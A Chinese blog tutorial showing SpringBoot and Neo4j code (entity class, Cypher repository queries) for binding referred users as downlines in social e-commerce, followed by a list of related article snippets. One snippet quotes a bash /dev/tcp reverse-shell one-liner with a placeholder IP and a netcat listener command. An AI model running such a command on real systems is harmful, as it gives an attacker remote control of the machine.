SpringBoot+Neo4j在社交电商中,讲述你是怎么被绑定为下线的
上两篇文章我们主要讲解了Neo4j的基本知识以及Neo4j的基本使用,这篇文章我们就以实例来深入的理解一下,我们以社交电商中的绑定关系为例,使用SpringBoot+Neo4j来实现。
Neo4j文章回顾:
一、分析
社交电商中,现在做的比较出色的就应该属于花生日记,以及最近比较火的芬香。或许你经常会收到朋友或者亲戚发来的分享出的商品,而当你点击这些分享出来的商品后,那么,恭喜你,你可能已经被绑定为下级(粉丝)了。当然,我们这里只是举例说明下。
下面我们就用SpringBoot+Neo4j实现别人分享出来的商品,你点击了,注册成为新用户,进而被绑定为下线来详细说明。
二、代码架构
代码架构如下,这里没有写controller和service,以test来测试,也是为了方便。
三、代码实现
1.引入Neo4j依赖
2.添加 neo4j 配置
3.添加Neo4j 节点类
这里添加一个MemberInvit节点,有点注解类似于Mysql中的table 映射的对象类,mysql中叫做ORM,neo4j中叫做OGM。这里要使用到的是 @NodeEntity 注解和 @Id注解。
- @NodeEntity声明该类为Neo4j的节点类
- @Id Neo4j的主键。
package com.xsjt.learn.neo4j.model;
import lombok.*;
import org.neo4j.ogm.annotation.Id;
import org.neo4j.ogm.annotation.NodeEntity;
import org.neo4j.ogm.annotation.Relationship;
import java.io.Serializable;
import java.util.HashSet;
import java.util.Set;
/**
* @author Joe
*/
@Data
@Builder
@AllArgsConstructor
@NoArgsConstructor
@NodeEntity(label = "MemberInvit")
public class MemberInvit implements Serializable {
/** 用户id */
@Id
private Long mId;
/** 用户名称 */
private String name;
/** 用户等级 */
private Integer level;
/** 发展的下级 */
@Relationship(type = "develop")
private Set<MemberInvit> fans;
/**
* 发展 方法
* @param memberInvit 用户邀请信息
*/
public void develop(MemberInvit memberInvit) {
if (fans == null) {
fans = new HashSet<>();
}
fans.add(memberInvit);
}
}
4.创建repositories类
当然,下面的方法不一定在我们绑定示例中用得到,但是在社交电商中这些都是基本要用的。
package com.xsjt.learn.neo4j.dao;
import com.xsjt.learn.neo4j.model.MemberInvit;
import org.springframework.data.neo4j.annotation.Query;
import org.springframework.data.neo4j.repository.Neo4jRepository;
import org.springframework.data.repository.query.Param;
import org.springframework.stereotype.Repository;
import java.util.List;
/**
* dao层
* @author Joe
* @date 2020-01-13
*/
@Repository
public interface MemberInvitRepository extends Neo4jRepository<MemberInvit, String> {
/**
* 根据节点id查询节点信息
* @param mId
* @return
*/
MemberInvit findBymId(Long mId);
/**
* 查询某个节点的所有子节点
* @param mId
* @return
*/
@Query("Match (p:MemberInvit{mId:{mId}})-[*]->(s:MemberInvit) return s ")
List<MemberInvit> findChildList(Long mId);
/**
* 查询某个节点的直属父节点
* @param mId
* @return
*/
@Query("Match (p:MemberInvit)-[*]->(s:MemberInvit{mId:{mId}}) return p limit 1")
MemberInvit findParent(@Param("mId") Long mId);
/**
* 查询某个节点的所有父节点
* @param mId
* @return
*/
@Query("Match (p:MemberInvit)-[*]->(s:MemberInvit{mId:{mId}}) return p")
List<MemberInvit> findParentList(@Param("mId") Long mId);
/**
* 查询某个节点的 指定等级的 最近的父节点
* @param mId
* @param level
* @return
*/
@Query("Match (p:MemberInvit{level:{level}})-[*]->(s:MemberInvit{mId:{mId}}) return p limit 1")
MemberInvit findParentInfoByLevel(@Param("mId") Long mId, @Param("level") Integer level);
/**
* 查询某个节点的 指定等级的所有父节点
* @param mId
* @param level
* @return
*/
@Query("Match (p:MemberInvit{level:{level}})-[*]->(s:MemberInvit{mId:{mId}}) return p")
List<MemberInvit> findParentByLevel(@Param("mId") Long mId, @Param("level") Integer level);
}
这里继承了Neo4jRepository,点击查看源码会发现,这里面封装好了简单的增删改查。
5.增加一个官方用户
增加完后,我们有两种方法查看,一是在Neo4j的控制台查看,另一个是在代码中查看。这里我们先在Neo4j的控制台查询下:
说明官方用户已经增加成功了。
6.查询官方用户
这里我们使用代码查询刚刚创建的官方用户。
7.绑定用户
除了官方用户外,假设第一个注册的是 隔壁老王,即隔壁老王绑定在了官方用户下,也可以叫官方用户发展了 隔壁老王为下线。
我们在控制台查看下创建的关系:
match (p:MemberInvit) return p
或者
match (p:MemberInvit)-[d:develop]->(s:MemberInvit) return p,d,s
隔壁老王人缘广,发展了小张、小李、小吴、小周等人:
我们从控制台上查看绑定关系:
这样,绑定关系就已经形成了。
四、源码下载
为了方便,已经将源码上传到github 了,地址:https://github.com/joeBeckham/springboot-learn
五、说在最后
社交电商中经常会存在返佣,你买了东西,你的上级就会得到百分之多少,这样,就会用到dao层中的 《查询某个节点的直属父节点》 方法,即:findParent。
你买了东西,可能并不会直接返佣到你的上级,可能会找某个等级的上级,这时候你就会用到dao层中的《查询某个节点的 指定等级的所有父节点》,即:findParentByLevel。
你买了东西,可能会返佣给指定等级的最近的一个父节点,这时候你就会用到dao层中的《查询某个节点的 指定等级的 最近的父节点》,即:findParentInfoByLevel。
这些我们就不一一举例了。
以上就是我们今天介绍的使用SpringBoot + Neo4j来实现社交电商中的绑定逻辑。
欢迎关注我的公众号,第一时间接收最新文章~ 搜索公众号: 码咖 或者 扫描下方二维码:
SpringBoot+Neo4j在社交电商中,讲述你是怎么被绑定为下线的的更多相关文章
- 中国社交电商最新展望,S-KOL-C正突围而出
编辑 | 韩星 出品 | 于见(mpyujian) 通信技术.移动互联网的快速发展正加速国内电商平台的深度变革. 在这场以"社交"和"下沉市场"为关键词的电商之 ...
- 微博试水卖车社交电商怎样令4S“颤抖”?
微博对社交电商的探索一直在深入,年初.微博上线了"支付"产品.从而使社交产业链实现了闭环,随后,微博又尝试售卖多种商品,不断扩大移动电商的试水范围,近期微博大规模汽车销售收 ...
- Java生鲜电商平台-生鲜电商中商品类目、属性、品牌、单位架构设计与实战
Java生鲜电商平台-生鲜电商中商品类目.属性.品牌.单位架构设计与实战 说明:Java生鲜电商平台-生鲜电商中商品类目.属性.品牌.单位架构设计与实战经验分享 凡是涉及到购物,必然是建立在商品的基础 ...
- Java生鲜电商平台-电商中海量搜索ElasticSearch架构设计实战与源码解析
Java生鲜电商平台-电商中海量搜索ElasticSearch架构设计实战与源码解析 生鲜电商搜索引擎的特点 众所周知,标准的搜索引擎主要分成三个大的部分,第一步是爬虫系统,第二步是数据分析,第三步才 ...
- Java生鲜电商平台-电商中"再来一单"功能架构与详细设计(APP/小程序)
Java生鲜电商平台-电商中"再来一单"功能架构与详细设计(APP/小程序) 说明:在实际的业务场景中(无论是TO B还是TO C)不管是休闲食品.餐饮.水果.日用百货.母婴等高频 ...
- 免费领CRMEB移动社交电商系统源码与授权
移动电商风起云涌,直播带货重塑销售模式,传统商业更是举步维艰,各行各业转型移动电商迫在眉睫,拥有一款好的移动社群社交电商系统成为众多企业与商家的心病! 你曾是否被那些劣质的移动电商系统搞得心力憔悴? ...
- REDIS 在电商中的实际应用场景(转)
1. 各种计数,商品维度计数和用户维度计数 说起电商,肯定离不开商品,而附带商品有各种计数(喜欢数,评论数,鉴定数,浏览数,etc),Redis的命令都是原子性的,你可以轻松地利用INCR,DECR等 ...
- Redis在电商中的实际应用-Java
示例代码用Jedis编写. 1. 各种计数,商品维度计数和用户维度计数 说起电商,肯定离不开商品,而附带商品有各种计数(喜欢数,评论数,鉴定数,浏览数,etc),Redis的命令都是原子性的,你可以轻 ...
- 电商中的库存管理实现-mysql与redis
库存是电商系统的核心环节,如何做到不少卖,不超卖是库存关心的核心业务问题.业务量大时带来的问题是如何更快速的处理库存计算. 此处以最简模式来讨论库存设计. 以下内容只做分析,不能直接套用,欢迎 ...
随机推荐
- 使用原生JS封装一个动画函数
最近一直在忙项目,很少有时间回顾之前的知识,今天刚好要做一个轮播,因为对兼容性有一定的要求,使用了各种插件和库中的轮播,效果都不是很理想,一怒之下,使用原生JS封装了一个轮播组件,其中重要的功能就是一 ...
- LA 5031 Graph and Queries —— Treap名次树
离线做法,逆序执行操作,那么原本的删除边的操作变为加入边的操作,用名次树维护每一个连通分量的名次,加边操作即是连通分量合并操作,每次将结点数小的子树向结点数大的子树合并,那么单次合并复杂度O(n1lo ...
- 微信里首次跳转会到首页问题(window.location失效)
将window.location.href 换为location.href
- Command failed: git -c core.longpaths=true config --get remote.origin.url
「Unable to Connect to GitHub.com For Cloning」 Error: Command failed: git -c core.longpaths=true conf ...
- eclipse快捷键记录
转自:http://blog.csdn.net/siphiababy/article/details/74179684 ctrl+2+L这个快捷键可自动补全代码,极大提升编码效率! 注:ctrl和2同 ...
- 2019-7-29-win10-uwp-如何使用DataTemplate
title author date CreateTime categories win10 uwp 如何使用DataTemplate lindexi 2019-7-29 10:2:32 +0800 2 ...
- 2018-2-13-win10-uwp-csdn-博客阅读器
title author date CreateTime categories win10 uwp csdn 博客阅读器 lindexi 2018-2-13 17:23:3 +0800 2018-2- ...
- c++ CArray函数
CArray属于MFC,是一个数组模板类.MFC的数组类支持的数组类似于常规数组,可以存放任何数据类型.常规数组在使用前必须将其定义成能够容纳所有可能需要的元素,即先确定大小,而MFC数组类创建的对象 ...
- 反弹shell理解
靶机 bash -i >& /dev/tcp/[ip]/[port1] 0>&1 攻击机 nc -vvlp [port1] 靶机中把 >&输成 > &a ...
- 【一起学源码-微服务】Nexflix Eureka 源码九:服务续约源码分析
前言 前情回顾 上一讲 我们讲解了服务发现的相关逻辑,所谓服务发现 其实就是注册表抓取,服务实例默认每隔30s去注册中心抓取一下注册表增量数据,然后合并本地注册表数据,最后有个hash对比的操作. 本 ...